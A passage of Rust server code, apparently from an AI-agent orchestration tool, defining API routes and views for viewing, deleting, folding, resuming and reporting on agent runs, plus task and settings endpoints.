4489#[derive(Debug, Default, Serialize)]
4490struct AdviceMd {
4491    synthesis: Vec<md::Node>,
4492    /// One per record; empty for a seat with no proposal.
4493    approaches: Vec<Vec<md::Node>>,
4494}
4495
4496#[derive(Debug, Default, Serialize)]
4497struct RoundMd {
4498    /// One per reviewer record.
4499    reviewers: Vec<ReviewerMd>,
4500    /// One per `reconsideration` entry: the reason.
4501    reconsideration: Vec<Vec<md::Node>>,
4502    fix: Option<FixMd>,
4503}
4504
4505#[derive(Debug, Default, Serialize)]
4506struct ReviewerMd {
4507    summary: Vec<md::Node>,
4508    /// One per finding, in recorded order (not the display order).
4509    findings: Vec<Vec<md::Node>>,
4510}
4511
4512#[derive(Debug, Default, Serialize)]
4513struct FixMd {
4514    notes: Vec<md::Node>,
4515    /// One per rejection: the argument.
4516    rejected: Vec<Vec<md::Node>>,
4517}
4518
4519/// Parse a run's agent-written prose; a pure function of the state.
4520fn run_prose_md(state: &RunState) -> RunProseMd {
4521    let nodes = |t: &str| md::to_nodes(t, &md::ImageBase::None);
4522    RunProseMd {
4523        advice_md: state.advice.as_ref().map(|a| AdviceMd {
4524            synthesis: nodes(a.synthesis.as_deref().unwrap_or("")),
4525            approaches: a
4526                .records
4527                .iter()
4528                .map(|r| nodes(r.proposal.as_ref().map_or("", |p| p.approach.as_str())))
4529                .collect(),
4530        }),
4531        candidate_summaries_md: state.candidates.iter().map(|c| nodes(&c.summary)).collect(),
4532        reviews_md: state
4533            .reviews
4534            .iter()
4535            .map(|round| RoundMd {
4536                reviewers: round
4537                    .reviews
4538                    .iter()
4539                    .map(|rec| ReviewerMd {
4540                        summary: nodes(&rec.summary),
4541                        findings: rec.findings.iter().map(|f| nodes(&f.detail)).collect(),
4542                    })
4543                    .collect(),
4544                reconsideration: round
4545                    .reconsideration
4546                    .iter()
4547                    .map(|rv| nodes(&rv.reason))
4548                    .collect(),
4549                fix: round.fix.as_ref().map(|fix| FixMd {
4550                    notes: nodes(&fix.notes),
4551                    rejected: fix.rejected.iter().map(|r| nodes(&r.why)).collect(),
4552                }),
4553            })
4554            .collect(),
4555    }
4556}
4557
4558impl RunDetailView {
4559    fn of(
4560        state: RunState,
4561        waiting: bool,
4562        live: crate::run::Liveness,
4563        superseded_by: Option<String>,
4564        latest_attempt: Option<LatestAttempt>,
4565        task: Option<TaskRef>,
4566    ) -> Self {
4567        let display_status = run_display_status(&state, waiting, live);
4568        let stop_reason = crate::stop_reason::of(
4569            &state,
4570            latest_attempt.as_ref().map(|a| (a.id.as_str(), a.status)),
4571        );
4572        let badge_status = run_badge_status(&state, &display_status, live, superseded_by.is_some());
4573        Self {
4574            progress: crate::run_progress::build(&state, live, waiting),
4575            stop_reason,
4576            pass_views: state.passes.iter().map(|p| PassView::of(p, None)).collect(),
4577            instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
4578            prose_md: run_prose_md(&state),
4579            origin_label: crate::run::origin_label(state.origin.as_ref()),
4580            live,
4581            unmerged_by_design: state.unmerged_by_design(),
4582            waiting,
4583            display_status,
4584            badge_status,
4585            done: state.status.done(),
4586            superseded_by,
4587            latest_attempt,
4588            task,
4589            state,
4590        }
4591    }
4592}
4593
4594/// Core content needs neither the queue nor question/liveness evidence.
4595async fn run_core(
4596    State(ui): State<Arc<Ui>>,
4597    Path(id): Path<String>,
4598) -> ApiResult<Json<RunDetailView>> {
4599    blocking(move || {
4600        let id = resolve_run(&ui.runs, &id)?;
4601        let state = read_run(&ui.runs, &id)?;
4602        Ok(Json(RunDetailView::of(
4603            state,
4604            false,
4605            crate::run::Liveness::Unknown,
4606            None,
4607            None,
4608            None,
4609        )))
4610    })
4611    .await
4612}
4613
4614/// Lightweight observation: never replaces the evidence used by controls.
4615async fn run_progress(
4616    State(ui): State<Arc<Ui>>,
4617    Path(id): Path<String>,
4618) -> ApiResult<Json<serde_json::Value>> {
4619    blocking(move || {
4620        let id = resolve_run(&ui.runs, &id)?;
4621        let state = read_run(&ui.runs, &id)?;
4622        let live = state.liveness(crate::daemon::is_working_on(
4623            &ui.home,
4624            &id,
4625            Timestamp::now(),
4626        ));
4627        let waiting = !ui.questions.open_for(&id).is_empty();
4628        Ok(Json(serde_json::json!({
4629            "id": id, "updated_at": state.updated_at, "live": live,
4630            "observed_at": Timestamp::now(),
4631            "progress": crate::run_progress::build(&state, live, waiting),
4632        })))
4633    })
4634    .await
4635}
4636
4637async fn run_detail(
4638    State(ui): State<Arc<Ui>>,
4639    Path(id): Path<String>,
4640) -> ApiResult<Json<RunDetailView>> {
4641    blocking(move || {
4642        let id = resolve_run(&ui.runs, &id)?;
4643        let state = read_run(&ui.runs, &id)?;
4644        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4645        let live = state.liveness(daemon_claims);
4646        crate::queue::record_ids(ui.questions.root(), "json")?;
4647        let waiting = ui
4648            .questions
4649            .list()
4650            .iter()
4651            .any(|q| q.run == id && q.status.open());
4652        let max_attempts = daemon::Opts::default().max_attempts;
4653
4654        let matching_task = ui.find_task_for_run(&id)?;
4655
4656        let superseded_by = state
4657            .pr_taken_over_by
4658            .clone()
4659            .or_else(|| {
4660                matching_task
4661                    .as_ref()
4662                    .and_then(|t| t.successor_of(&id).cloned())
4663            })
4664            .as_deref()
4665            .map(crate::run::short_of)
4666            .map(str::to_owned);
4667
4668        // Best-effort: an unreadable head (mid-write, or deleted) just means
4669        // this run's own status stands on its own, same as no later attempt
4670        // existing at all.
4671        let latest_attempt = matching_task
4672            .as_ref()
4673            .and_then(|t| t.runs.last().filter(|last| **last != id).cloned())
4674            .and_then(|head_id| {
4675                read_run(&ui.runs, &head_id).ok().map(|head| LatestAttempt {
4676                    short: head.short().to_owned(),
4677                    resolved: matches!(head.status, RunStatus::Merged | RunStatus::Ready),
4678                    status: head.status,
4679                    done: head.status.done(),
4680                    id: head.id,
4681                })
4682            });
4683
4684        let task = matching_task
4685            .map(|t| task_outcome(&t, &id, max_attempts, |r| read_run(&ui.runs, r).ok()));
4686
4687        Ok(Json(RunDetailView::of(
4688            state,
4689            waiting,
4690            live,
4691            superseded_by,
4692            latest_attempt,
4693            task,
4694        )))
4695    })
4696    .await
4697}
4698
4699/// `DELETE /api/runs/{id}`.
4700///
4701/// Remove a finished, folded run directory along with its artifacts.
4702/// Running runs and runs with unfolded candidate worktrees/branches cannot be
4703/// deleted. This never touches git worktrees or branches - except for a run
4704/// whose state this build cannot read at all, where there is no candidate
4705/// list to check and the wholesale removal `magi fold` already uses for that
4706/// case is the only meaningful "delete".
4707async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
4708    let (id, unreadable) = {
4709        let ui = Arc::clone(&ui);
4710        blocking(move || {
4711            let id = resolve_run(&ui.runs, &id)?;
4712            match read_run(&ui.runs, &id) {
4713                Ok(_) => {
4714                    // The record's locks and the guards are judged on what is
4715                    // read under them (`clean::delete_run`): a fold in progress
4716                    // refuses the deletion rather than racing it.
4717                    crate::clean::delete_run(&ui.home, &id, jiff::Timestamp::now()).map_err(
4718                        |e| match e.downcast_ref::<crate::clean::DeleteRefused>() {
4719                            Some(refused) => ApiError::conflict(refused.0.clone()),
4720                            None => ApiError::internal(format!("{e:#}")),
4721                        },
4722                    )?;
4723                    Ok((id, false))
4724                }
4725                Err(_) => {
4726                    // Unreadable: there is no candidate list to guard on, so
4727                    // a live daemon's claim is the only thing left to check -
4728                    // the same rule `run_fold` applies for the same reason.
4729                    if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4730                        return Err(ApiError::conflict(format!(
4731                            "run {id} is being worked on by a live daemon right now"
4732                        )));
4733                    }
4734                    Ok((id, true))
4735                }
4736            }
4737        })
4738        .await?
4739    };
4740    if unreadable {
4741        crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
4742            .await
4743            .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4744    }
4745    let ui = Arc::clone(&ui);
4746    let done = id.clone();
4747    blocking(move || {
4748        // The agent that asked died with the run, so an open question would
4749        // keep asking the operator for a decision nobody can deliver.
4750        ui.questions.abandon_for_run(
4751            &done,
4752            &format!("run {done} was deleted, so nothing is waiting for this answer"),
4753        )?;
4754        Ok(())
4755    })
4756    .await?;
4757    Ok(StatusCode::NO_CONTENT)
4758}
4759
4760/// `POST /api/runs/{id}/fold`.
4761///
4762/// Remove a run's candidate worktrees and branches, keeping its record.
4763///
4764/// This exists because the deck answered "delete this run" with *"Candidates
4765/// must be folded before deleting. Run `magi fold` first."* — a phone being
4766/// told to open a terminal, in the one product whose point is that it does
4767/// not need one. The runs an operator most wants gone are the stalled and
4768/// blocked ones, and those are exactly the runs still holding worktrees:
4769/// three of them here held 53 GB.
4770///
4771/// The winner's tree goes too. A fold is what someone asks for when they are
4772/// finished with a run, and leaving one tree behind would leave the delete
4773/// button disabled for the same reason as before.
4774///
4775/// Refused while a live daemon is working on the run, on the rule that guards
4776/// deletion: folding underneath a running agent would pull the tree it is
4777/// editing out from under it.
4778///
4779/// A run whose state this build cannot read at all falls back to
4780/// [`crate::clean::fold_unreadable`] - there is no candidate list to fold
4781/// selectively, so the whole record's worktree goes wholesale, exactly what
4782/// `magi fold` does on the command line for the same run.
4783async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
4784    let (id, state) = {
4785        let ui = Arc::clone(&ui);
4786        blocking(move || {
4787            let id = resolve_run(&ui.runs, &id)?;
4788            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4789                return Err(ApiError::conflict(format!(
4790                    "run {id} is being worked on by a live daemon right now"
4791                )));
4792            }
4793            crate::clean::ensure_record_identity(&ui.runs, &id)
4794                .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4795            let state = match read_run(&ui.runs, &id) {
4796                Ok(state) => {
4797                    state
4798                        .ensure_directory(&id)
4799                        .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4800                    Some(state)
4801                }
4802                Err(_) => None,
4803            };
4804            Ok((id, state))
4805        })
4806        .await?
4807    };
4808    let removed = match state {
4809        Some(mut state) => {
4810            let removed = crate::graph::fold_run(&mut state, true, &ui.home)
4811                .await
4812                .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4813            // Nothing left to remove is not the same thing as nothing left to
4814            // do — see `clean::clear_abandoned_active`'s own doc for the run
4815            // this exists for: worktrees already gone, but a killed process
4816            // left active seats nobody will ever answer for.
4817            if removed.is_empty() {
4818                crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
4819                    .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4820            }
4821            removed
4822        }
4823        None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
4824            .await
4825            .map_err(|e| ApiError::internal(format!("{e:#}")))?,
4826    };
4827    Ok(Json(FoldView {
4828        run: id,
4829        removed_count: removed.len(),
4830        removed,
4831    }))
4832}
4833
4834/// What a fold took away, so the deck can say so rather than only re-render.
4835#[derive(Debug, Serialize)]
4836struct FoldView {
4837    run: String,
4838    /// Worktree paths and branch names removed, in the order they went.
4839    removed: Vec<String>,
4840    removed_count: usize,
4841}
4842
4843/// `POST /api/runs/{id}/fold-merged` body: the pull request the operator
4844/// merged outside of `land::land`'s own loop.
4845#[derive(Debug, Deserialize)]
4846struct FoldMergedBody {
4847    #[serde(default)]
4848    pr_url: String,
4849}
4850
4851/// `POST /api/runs/{id}/fold-merged`.
4852///
4853/// The phone-reachable form of `magi fold --merged <pr-url>`: a run stuck
4854/// `Blocked` with `merge: null` because magi never got as far as opening a
4855/// pull request of its own (a title over GitHub's length limit, `gh pr
4856/// create` unreachable, a stale token), which the operator then finished by
4857/// hand on a pull request magi never recorded. The "Run actions" sheet used
4858/// to have no way to tell it about that pull request short of a terminal and
4859/// `magi fold --merged` — see `land::correct_manual_merge`'s own doc for why
4860/// this exists and what it deliberately does not do (`bump::after_merge`).
4861///
4862/// Refused, like [`run_fold`], while a live daemon is working on the run: the
4863/// correction rewrites the same `status`/`merge` fields a running graph would
4864/// be writing to on its own.
4865///
4866/// Unlike [`run_resume`] this does not return 202: it makes at most two `gh`
4867/// calls plus a fold, seconds of work, and the phone should get its answer
4868/// (which pull request it recorded, and what changed) in the same round
4869/// trip rather than learning it from the change stream.
4870async fn run_fold_merged(
4871    State(ui): State<Arc<Ui>>,
4872    Path(id): Path<String>,
4873    Json(body): Json<FoldMergedBody>,
4874) -> ApiResult<Json<FoldMergedView>> {
4875    let pr_url = body.pr_url.trim().to_owned();
4876    if pr_url.is_empty() {
4877        return Err(ApiError::bad_request("pr_url is required"));
4878    }
4879    let (id, mut state) = {
4880        let ui = Arc::clone(&ui);
4881        blocking(move || {
4882            let id = resolve_run(&ui.runs, &id)?;
4883            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4884                return Err(ApiError::conflict(format!(
4885                    "run {id} is being worked on by a live daemon right now"
4886                )));
4887            }
4888            let state = read_run(&ui.runs, &id)?;
4889            state
4890                .ensure_directory(&id)
4891                .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4892            Ok((id, state))
4893        })
4894        .await?
4895    };
4896    let (before, after) = crate::land::correct_manual_merge(&mut state, &pr_url)
4897        .await
4898        .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
4899    let removed = crate::graph::fold_run(&mut state, true, &ui.home)
4900        .await
4901        .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4902    Ok(Json(FoldMergedView {
4903        run: id,
4904        before: before.as_str().to_owned(),
4905        after: after.as_str().to_owned(),
4906        removed,
4907    }))
4908}
4909
4910/// What [`run_fold_merged`] did, so the deck can say so.
4911#[derive(Debug, Serialize)]
4912struct FoldMergedView {
4913    run: String,
4914    /// `status` before the correction — normally `"blocked"`.
4915    before: String,
4916    /// `status` after — normally `"merged"`.
4917    after: String,
4918    /// Worktree paths and branch names the trailing fold removed.
4919    removed: Vec<String>,
4920}
4921
4922/// `POST /api/runs/{id}/resume`.
4923///
4924/// Carry a stalled run on from where it stopped, in the background.
4925///
4926/// A stalled card says "the work is kept" and used to offer no way to act on
4927/// that: the candidates are built and paid for, and continuing means re-asking
4928/// only the seats whose absence collapsed the panel. The alternative an
4929/// operator actually had was releasing the task, which competes three fresh
4930/// implementations against work that already exists.
4931///
4932/// **202, not 200.** A resume runs agents for minutes; holding the connection
4933/// is the mistake `POST /api/talks/{id}/say` already made and had fixed. The
4934/// phone learns the outcome from the change stream.
4935///
4936/// Refused when the loop is running at all, not merely when it is on this run.
4937/// The scarce resource is the agent CLIs' quota, and a tap that quietly
4938/// started a second graph on top of whatever the loop is already driving —
4939/// one run by default, or as many as `Config::daemon.max_concurrent_runs`
4940/// allows — would spend that quota twice over for no extra throughput.
4941async fn run_resume(
4942    State(ui): State<Arc<Ui>>,
4943    Path(id): Path<String>,
4944) -> ApiResult<(StatusCode, Json<RunSummary>)> {
4945    let admission = ui.begin_admission()?;
4946    admitted(admission, async move {
4947        let (id, state) = {
4948            let ui = Arc::clone(&ui);
4949            blocking(move || {
4950                let id = resolve_run(&ui.runs, &id)?;
4951                let state = read_run(&ui.runs, &id)?;
4952                Ok((id, state))
4953            })
4954            .await?
4955        };
4956        crate::resume::validate_unqueued(&ui.home, &id)
4957            .map_err(|e| ApiError::conflict(e.to_string()))?;
4958        let _resume = ui.begin_resume(&id)?;
4959
4960        crate::resume::start(&ui.home, id.clone())
4961            .await
4962            .map_err(ApiError::from)?;
4963        // The same shape the list route returns, so the phone updates the card it
4964        // already has rather than learning a second schema for one button.
4965        let queued = RunSummary::of(
4966            &state,
4967            !ui.questions.open_for(&id).is_empty(),
4968            state.liveness(daemon::is_working_on(&ui.home, &id, Timestamp::now())),
4969        );
4970        Ok((StatusCode::ACCEPTED, Json(queued)))
4971    })
4972    .await
4973}
4974
4975async fn run_report(
4976    State(ui): State<Arc<Ui>>,
4977    Path(id): Path<String>,
4978) -> ApiResult<impl IntoResponse> {
4979    let text = blocking(move || {
4980        let id = resolve_run(&ui.runs, &id)?;
4981        // Colour is off for the whole process, set once in `serve`. Rendering
4982        // is CPU work over the full state, which is the other reason this is
4983        // not on the executor.
4984        let state = read_run(&ui.runs, &id)?;
4985        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4986        let live = state.liveness(daemon_claims);
4987        Ok(format!(
4988            "{}{}",
4989            report::run(&state),
4990            report::active_seats(&state, live)
4991        ))
4992    })
4993    .await?;
4994    Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
4995}
4996
4997/// The structured twin of [`run_report`]: the same state, as sections the UI
4998/// draws as cards. An unreadable run answers with the same error the text
4999/// route does; it is never turned into an empty report.
5000async fn run_report_json(
5001    State(ui): State<Arc<Ui>>,
5002    Path(id): Path<String>,
5003) -> ApiResult<Json<crate::report_view::RunReportView>> {
5004    let view = blocking(move || {
5005        let id = resolve_run(&ui.runs, &id)?;
5006        let state = read_run(&ui.runs, &id)?;
5007        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
5008        // Only a record that lacks the structured details reads `artifacts/`.
5009        let recovered = state.graft.as_ref().map(|_| {
5010            crate::graft_report::recover(&state, &crate::agent::artifacts_dir(&state.dir()))
5011        });
5012        Ok(crate::report_view::build_with(
5013            &state,
5014            state.liveness(daemon_claims),
5015            recovered.as_ref(),
5016        ))
5017    })
5018    .await?;
5019    Ok(Json(view))
5020}
5021
5022/// Archive access uses validated run-owned records, never a request-supplied path.
5023async fn run_seat_evidence(
5024    State(ui): State<Arc<Ui>>,
5025    Path(id): Path<String>,
5026) -> ApiResult<impl IntoResponse> {
5027    let id = resolve_run(&ui.runs, &id)?;
5028    let heads = crate::retention::seat_heads(&ui.home, &id)
5029        .await
5030        .map_err(|e| ApiError::not_found(format!("seat evidence unavailable: {e:#}")))?;
5031    Ok(Json(heads))
5032}
5033
5034async fn run_seat_diff(
5035    State(ui): State<Arc<Ui>>,
5036    Path((id, head)): Path<(String, String)>,
5037) -> ApiResult<impl IntoResponse> {
5038    let id = resolve_run(&ui.runs, &id)?;
5039    let patch = crate::retention::seat_diff(&ui.home, &id, &head)
5040        .await
5041        .map_err(|e| ApiError::not_found(format!("seat evidence unavailable: {e:#}")))?;
5042    Ok((
5043        [
5044            (header::CONTENT_TYPE, "text/plain; charset=utf-8"),
5045            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
5046        ],
5047        patch,
5048    ))
5049}
5050
5051/// Most of a graft diff the route returns.
5052const GRAFT_DIFF_MAX: usize = 400 * 1024;
5053/// How long `git diff` may run.
5054const GRAFT_DIFF_TIMEOUT: Duration = Duration::from_secs(15);
5055
5056/// The graft's own patch: recorded `pre` against recorded `post`. Both SHAs
5057/// come from the run record, never from the request.
5058async fn run_graft_diff(
5059    State(ui): State<Arc<Ui>>,
5060    Path(id): Path<String>,
5061) -> ApiResult<impl IntoResponse> {
5062    let (repo, pre, post) = blocking(move || {
5063        let id = resolve_run(&ui.runs, &id)?;
5064        let state = read_run(&ui.runs, &id)?;
5065        let g = state
5066            .graft
5067            .as_ref()
5068            .ok_or_else(|| ApiError::not_found("this run has no graft"))?;
5069        let post = g
5070            .post
5071            .clone()
5072            .ok_or_else(|| ApiError::not_found("the graft recorded no post-graft commit"))?;
5073        Ok((state.repo.clone(), g.pre.clone(), post))
5074    })
5075    .await?;
5076    let hex = |s: &str| (4..=64).contains(&s.len()) && s.chars().all(|c| c.is_ascii_hexdigit());
5077    if !hex(&pre) || !hex(&post) {
5078        return Err(ApiError::not_found("the recorded commits are not valid"));
5079    }
5080    let out = tokio::time::timeout(
5081        GRAFT_DIFF_TIMEOUT,
5082        crate::git::git_raw(
5083            &repo,
5084            &[
5085                "diff",
5086                "--no-color",
5087                "--no-ext-diff",
5088                "-M",
5089                &pre,
5090                &post,
5091                "--",
5092            ],
5093        ),
5094    )
5095    .await
5096    .map_err(|_| ApiError::not_found("git diff timed out"))?
5097    .map_err(|e| ApiError::not_found(format!("git diff failed: {e:#}")))?;
5098    if out.code != Some(0) {
5099        return Err(ApiError::not_found(
5100            "the recorded commits are no longer in the repository",
5101        ));
5102    }
5103    let mut body = out.stdout;
5104    if body.len() > GRAFT_DIFF_MAX {
5105        let mut cut = GRAFT_DIFF_MAX;
5106        while !body.is_char_boundary(cut) {
5107            cut -= 1;
5108        }
5109        body.truncate(cut);
5110        body.push_str("\n... diff truncated ...");
5111    }
5112    Ok((
5113        [
5114            (header::CONTENT_TYPE, "text/plain; charset=utf-8"),
5115            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
5116        ],
5117        body,
5118    ))
5119}
5120
5121/// A task as the UI sees it.
5122///
5123/// The whole task, plus the two things the client would otherwise have to
5124/// reimplement: the human-readable source and the status string. Nothing is
5125/// removed - the phone shows `last_error` and the run history verbatim.
5126#[derive(Debug, Serialize)]
5127struct TaskView {
5128    #[serde(flatten)]
5129    task: Task,
5130    source_label: String,
5131    reassignment_notes: Vec<String>,
5132    source_link: Option<SourceLink>,
5133    status_str: &'static str,
5134    /// Fixed scheduling lane, ahead of ordinary priority order.
5135    upgrade_resume_at: Option<Timestamp>,
5136    /// The instruction, parsed as markdown, for the Queue card's "Full
5137    /// instruction" panel. `task.instruction` is unchanged and still carries
5138    /// the raw text.
5139    instruction_md: Vec<md::Node>,
5140    /// For a blocked task, what it waits on with each dependency's state, e.g.
5141    /// `4135 (blocked → 9db7 held)`. Built server-side so the client never
5142    /// recurses; empty for every other status.
5143    waits_on: Vec<String>,
5144    /// Short ids of the held (or cyclic) tasks a blocked task is frozen
5145    /// behind - non-empty means nothing in the loop will ever run it.
5146    stuck_roots: Vec<String>,
5147    blockers: Vec<crate::blockers::BlockerView>,
5148    recovery: Option<String>,
5149    /// Shared read-only admission status (configured mode, active reservation
5150    /// lane, and concrete non-concurrency or capacity blocker).
5151    #[serde(skip_serializing_if = "Option::is_none")]
5152    admission: Option<daemon::TaskAdmission>,
5153}
5154
5155impl From<Task> for TaskView {
5156    fn from(task: Task) -> Self {
5157        Self {
5158            source_label: task.source_label(),
5159            reassignment_notes: Vec::new(),
5160            source_link: source_link(&task.source),
5161            status_str: task.status.as_str(),
5162            upgrade_resume_at: task.upgrade_resume_key().map(|(at, _)| at),
5163            instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
5164            waits_on: Vec::new(),
5165            stuck_roots: Vec::new(),
5166            blockers: Vec::new(),
5167            recovery: task_recovery(&task),
5168            admission: None,
5169            task,
5170        }
5171    }
5172}
5173
5174impl TaskView {
5175    fn with_admission(
5176        mut self,
5177        snapshot: &daemon::AdmissionSnapshot,
5178        queue: &Queue,
5179        inv: Option<&crate::blockers::Inventory>,
5180        home: &std::path::Path,
5181    ) -> Self {
5182        self.admission = Some(snapshot.evaluate(&self.task, queue, inv, home));
5183        self
5184    }
5185
5186    fn with_recovery_decisions(mut self, questions: &ask::Questions) -> Self {
5187        if matches!(self.task.status, TaskStatus::Held | TaskStatus::Blocked) {
5188            let pending = crate::blockers::Inventory::recovery_views(&self.task, questions);
5189            if !pending.is_empty() {
5190                self.recovery = Some(format!(
5191                    "Recovery decisions are pending. Resolve or apply them through the existing controls below before triage can reconsider recovery. Disk recovery alone will not resume this task. {}",
5192                    self.recovery.as_deref().unwrap_or_default()
5193                ));
5194            }
5195            for decision in pending {
5196                self.blockers.retain(|view| view.id != decision.id);
5197                self.blockers.push(decision);
5198            }
5199        }
5200        self
5201    }
5202
5203    fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
5204        let waits_on = inv.waits_on(&task);
5205        let stuck_roots = inv
5206            .stuck_roots(&task)
5207            .iter()
5208            .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
5209            .collect();
5210        Self {
5211            blockers: inv.blocker_views(&task),
5212            waits_on,
5213            stuck_roots,
5214            ..Self::from(task)
5215        }
5216    }
5217}
5218
5219fn task_recovery(task: &Task) -> Option<String> {
5220    use crate::queue::{HoldSource, TaskStatus};
5221    if !matches!(task.status, TaskStatus::Blocked | TaskStatus::Held) {
5222        return None;
5223    }
5224    let mut text = String::new();
5225    if task.status == TaskStatus::Blocked {
5226        text.push_str("Resolve each dependency below through its supported controls. Hold overrides this dependency wait and clears its dependency references. A later Release can queue the task even if those dependencies are unfinished; Hold does not resolve them. ");
5227        let restored = match task.blocked_from {
5228            Some(TaskStatus::Running) => TaskStatus::Queued,
5229            Some(status) => status,
5230            None if task.hold_reason.is_some() || task.hold_source.is_some() => TaskStatus::Held,
5231            None => TaskStatus::Queued,
5232        };
5233        text.push_str(&format!(
5234            "After all dependencies resolve, the scheduler restores {}. ",
5235            restored.as_str()
5236        ));
5237        if restored != TaskStatus::Held {
5238            return Some(text);
5239        }
5240    }
5241    text.push_str(match task.hold_source {
5242        Some(HoldSource::Manual) => "Manual hold: an operator must explicitly Release when ready.",
5243        Some(HoldSource::Machine) if task.has_disk_capacity_cause() || crate::triage::disk_wait_eligible(task) =>
5244            "Disk wait (automatically monitored): the same task resumes when disk floors and output reservations permit. Recorded figures describe the hold time, not current capacity; triage rechecks admission automatically. Untouched automatic disk triage questions are superseded without an owner answer; owner decisions and unrelated approvals still require explicit resolution.",
5245        Some(HoldSource::Machine) => "Machine hold: triage rechecks supported recovery conditions; otherwise resolve the recovery decision in the owning task chat.",
5246        None => "Hold origin unknown: inspect the recorded reason and task chat before explicitly releasing.",
5247    });
5248    Some(text)
5249}
5250
5251/// `?refresh=1` forces a re-scan even inside the TTL. Any other value, or
5252/// its absence, leaves the cache to decide.
5253#[derive(Debug, Default, Deserialize)]
5254#[serde(default)]
5255struct ReposQuery {
5256    refresh: u8,
5257}
5258
5259/// `GET /api/repos` - local checkouts found under `[repos] roots`, the same
5260/// listing `magi repos` prints at a terminal.
5261///
5262/// Reads `[repos] roots` and `[repos] scan_ttl` discovered against `ui.repo`
5263/// so an edit to `magi.toml` takes effect without a restart, the same
5264/// reasoning [`config_for`] documents for the talk routes.
5265async fn repos_list(
5266    State(ui): State<Arc<Ui>>,
5267    Query(q): Query<ReposQuery>,
5268) -> ApiResult<Json<Vec<repos::Repo>>> {
5269    let refresh = q.refresh != 0;
5270    blocking(move || {
5271        let (cfg, _) = Config::discover(&ui.repo, None)?;
5272        Ok(Json(ui.repos_cache.list(
5273            &cfg.repos.roots,
5274            Duration::from_secs(cfg.repos.scan_ttl),
5275            refresh,
5276        )))
5277    })
5278    .await
5279}
5280
5281/// Optional context, restricted to the server's known checkouts.
5282#[derive(Debug, Default, Deserialize)]
5283struct SettingsQuery {
5284    repo: Option<PathBuf>,
5285}
5286
5287/// Always discover against the server's original context, never the selection.
5288/// If that config is broken, retain the default context and machine-only roots
5289/// so the settings error contract and recovery picker remain available.
5290fn settings_repositories(ui: &Ui, refresh: bool) -> Vec<repos::Repo> {
5291    let cfg = settings::repository_config(&ui.repo, ui.machine_config.as_deref()).or_else(|_| {
5292        let paths: Vec<PathBuf> = ui
5293            .machine_config
5294            .iter()
5295            .filter(|p| p.is_file())
5296            .cloned()
5297            .collect();
5298        if paths.is_empty() {
5299            Ok(Config::autodetected())
5300        } else {
5301            Config::load_layers(&paths)
5302        }
5303    });
5304    let mut known = cfg
5305        .map(|cfg| {
5306            ui.repos_cache.list(
5307                &cfg.repos.roots,
5308                Duration::from_secs(cfg.repos.scan_ttl),
5309                refresh,
5310            )
5311        })
5312        .unwrap_or_default();
5313    let path = ui.repo.canonicalize().unwrap_or_else(|_| ui.repo.clone());
5314    if !known.iter().any(|r| r.path == path) {
5315        known.push(repos::Repo {
5316            name: path
5317                .file_name()
5318                .unwrap_or_default()
5319                .to_string_lossy()
5320                .into_owned(),
5321            path,
5322        });
5323    }
5324    known
5325}
5326
5327fn settings_context(ui: &Ui, q: SettingsQuery) -> ApiResult<(PathBuf, Vec<repos::Repo>)> {
5328    let requested = q.repo.unwrap_or_else(|| ui.repo.clone());
5329    let canonical = requested.canonicalize().ok();
5330    let mut known = settings_repositories(ui, false);
5331    let matches = |r: &repos::Repo| canonical.as_ref().is_some_and(|p| p == &r.path);
5332    if !known.iter().any(matches) {
5333        known = settings_repositories(ui, true);
5334    }
5335    let repo = known
5336        .iter()
5337        .find(|r| matches(r))
5338        .map(|r| r.path.clone())
5339        .ok_or_else(|| ApiError {
5340            text_reason: None,
5341            status: StatusCode::UNPROCESSABLE_ENTITY,
5342            message: "Choose a known repository from the Settings selector.".to_owned(),
5343        })?;
5344    Ok((repo, known))
5345}
5346
5347/// `GET /api/settings` - the effective role assignments and roster, with the
5348/// layer each came from. A config that fails to load answers 200 with an
5349/// `error`, so the screen can say so instead of drawing empty lists.
5350async fn settings_get(
5351    State(ui): State<Arc<Ui>>,
5352    Query(q): Query<SettingsQuery>,
5353) -> ApiResult<Json<settings::SettingsView>> {
5354    blocking(move || {
5355        let (repo, known) = settings_context(&ui, q)?;
5356        Ok(Json(settings::view_with_repos(
5357            &repo,
5358            ui.machine_config.as_deref(),
5359            &known,
5360        )))
5361    })
5362    .await
5363}
5364
5365/// The body of `PUT /api/settings/roles`.
5366#[derive(Debug, Deserialize)]
5367#[serde(deny_unknown_fields)]
5368struct RolesBody {
5369    /// The `revision` the client last read.
5370    revision: String,
5371    /// Role key to its new ids; an empty list resets the key to its default.
5372    #[serde(default)]
5373    roles: std::collections::BTreeMap<String, Vec<String>>,
5374    /// Role key (`implementers`, `judges`, `reviewers`, `advisors`) to its new
5375    /// `[graph]` seat count. Kept as raw JSON so a non-integer is refused in
5376    /// words (422) instead of as a deserialization error.
5377    #[serde(default)]
5378    counts: std::collections::BTreeMap<String, serde_json::Value>,
5379}
5380
